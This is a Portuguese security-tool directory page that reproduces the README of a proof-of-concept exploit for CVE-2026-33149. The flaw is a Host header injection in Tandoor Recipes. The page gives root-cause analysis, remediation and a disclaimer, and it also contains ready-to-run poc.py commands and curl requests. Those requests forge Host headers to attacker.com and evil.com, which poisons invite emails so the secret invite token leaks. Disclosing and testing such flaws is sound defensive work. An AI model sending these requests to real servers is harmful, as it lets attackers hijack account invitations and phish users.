Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33149-PoC — Prova de conceito de exploit para CVE-2026-33149, uma injeção de cabeçalho Host no Tandoor Recipes que permite envenenamento de link de convite e envenenamento de cache. Inclui módulos para aceitação de host, paginação, esquema e envenenamento de convite. | Kitploit
Ferramentas/GitHubGitHub/filipegaudard/cve-2026-33149-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPhishingSegurança WebTestes de Penetração
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Prova de conceito de exploit para CVE-2026-33149, uma injeção de cabeçalho Host no Tandoor Recipes que permite envenenamento de link de convite e envenenamento de cache. Inclui módulos para aceitação de host, paginação, esquema e envenenamento de convite.

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33149 — Injeção de Cabeçalho de Host no Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Resumo

O Tandoor Recipes define ALLOWED_HOSTS = '*' por padrão em settings.py, fazendo com que o Django aceite qualquer valor no cabeçalho HTTP sem validação. A aplicação usa para gerar URLs absolutas em vários contextos sensíveis à segurança. Um atacante que consiga enviar requisições com um cabeçalho forjado pode redirecionar todas as URLs geradas pelo servidor para um domínio controlado pelo atacante.

Host
request.build_absolute_uri()
Host

O impacto mais crítico é o envenenamento de links de convite: quando um administrador cria um convite de usuário, o e-mail enviado pelo servidor contém um link apontando para o domínio do atacante. A vítima clica em um e-mail de aparência legítima, o token do convite é exfiltrado, e o atacante o utiliza para sequestrar o fluxo de provisionamento de conta.

Detalhes da Vulnerabilidade

CampoValor
ID CVECVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Neutralização Incorreta de Cabeçalhos HTTP para Sintaxe de Script
CVSS v3.18.1 ALTA — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Versão AfetadaTandoor Recipes ≤ 2.5.3
FornecedorTandoorRecipes/recipes

Mapeamento MITRE ATT&CK

ID da TécnicaNomeRelevância
T1557Adversário no MeioManipulação de URLs geradas pelo servidor para redirecionar tráfego
T1566.002Phishing: Link de SpearphishingE-mail de convite envenenado contém link controlado pelo atacante

Análise da Causa Raiz

1. ALLOWED_HOSTS com Curinga

Arquivo: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

O ALLOWED_HOSTS do Django é uma medida de segurança que valida o cabeçalho Host contra uma lista de permissões. O curinga '*' desativa essa validação completamente, permitindo qualquer valor arbitrário.

2. Geração Insegura de URLs em E-mails de Convite

Arquivo: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() constrói URLs usando request.get_host(), que retorna o valor bruto do cabeçalho Host quando ALLOWED_HOSTS não o restringe. O UUID do convite — um token secreto — é incorporado na URL que agora aponta para o atacante.

3. Superfícies Adicionais Afetadas

  • Paginação da API — As classes de paginação do DRF usam build_absolute_uri() para URLs next/previous
  • Esquema OpenAPI — O gerador de esquema o usa para URLs de servidor
  • Envenenamento de Cache — Implantações com proxies de cache correm o risco de servir URLs envenenadas a todos os usuários a partir de uma única requisição

Fluxo do Ataque

root@kitploit:~
┌──────────┐     ① Requisição Forjada         ┌─────────────────┐
│ Atacante │ ──────────────────────────────→│  Servidor Tandoor│
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             usa "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  Servidor SMTP │
                                            └────────┬───────┘
                                                     │
                                       ③ E-mail com link envenenado:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Vítima      │
                                            │  (clica no link)│
                                            └────────┬───────┘
                                                     │
                                          ④ UUID enviado ao atacante
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Atacante     │
                                            │ usa o UUID no │
                                            │ servidor real  │
                                            └────────────────┘

Prova de Conceito

Requisitos

  • Python 3.8+
  • Biblioteca requests
root@kitploit:~
pip install requests

Uso

root@kitploit:~
# Executar todos os módulos de validação com autenticação básica
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Executar todos os módulos com cookies de sessão
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Apenas envenenamento de link de convite
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Módulos

MóduloDescrição
host-acceptVerifica se o alvo aceita cabeçalhos Host arbitrários (ALLOWED_HOSTS = '*')
paginationConfirma que as URLs de paginação da API refletem o domínio injetado
schemaConfirma que as URLs de servidor do esquema OpenAPI refletem o domínio injetado
inviteCria um link de convite envenenado — o vetor de ataque principal
allExecuta todos os módulos sequencialmente

Verificação Manual (curl)

1. Aceitação do Cabeçalho Host

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Esperado: 200 (vulnerável) | 400 (corrigido)

2. Reflexão da URL de Paginação

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Esperado: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. Reflexão da URL do Esquema

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# Esperado: http://evil.com/...

4. Envenenamento do Link de Convite

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# A vítima recebe o e-mail: "Click: http://attacker.com/invite/<uuid>"

Impacto

Área de ImpactoDescriçãoGravidade
Sequestro de Token de ConviteO atacante captura o UUID do convite via link de e-mail envenenado, sequestrando o provisionamento de contaCrítica
Phishing de CredenciaisA vítima acessa um domínio controlado pelo atacante esperando uma página de registro legítimaAlta
Envenenamento de CacheEm implantações com proxies de cache, uma única resposta envenenada contamina o cache para todos os usuáriosAlta
Desorientação de Clientes de APIURLs de paginação e esquema redirecionam consumidores de API para a infraestrutura do atacanteMédia

Remediação

Correção Imediata

Defina ALLOWED_HOSTS para listar explicitamente seus hostnames válidos:

root@kitploit:~
# docker-compose.yml ou .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

Defesa em Profundidade

  1. Validação no Proxy Reverso — Configure Nginx/Apache para rejeitar requisições com cabeçalhos Host inesperados antes que cheguem ao Django
  2. USE_X_FORWARDED_HOST = False — Garanta que o Django não confie em X-Forwarded-Host de fontes não confiáveis (o padrão é False)
  3. Reforço de Links SMTP — Use uma configuração explícita de SITE_URL para geração de links em e-mails em vez de depender de request.build_absolute_uri()

Referências

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: Neutralização Incorreta de Cabeçalhos HTTP
  • Documentação do Django sobre ALLOWED_HOSTS
  • MITRE ATT&CK T1557 — Adversário no Meio
  • MITRE ATT&CK T1566.002 — Phishing: Link de Spearphishing

Aviso Legal

Esta prova de conceito é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.


Autor

Filipe Gaudard — Pesquisador de Segurança Ofensiva | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Baixar ferramenta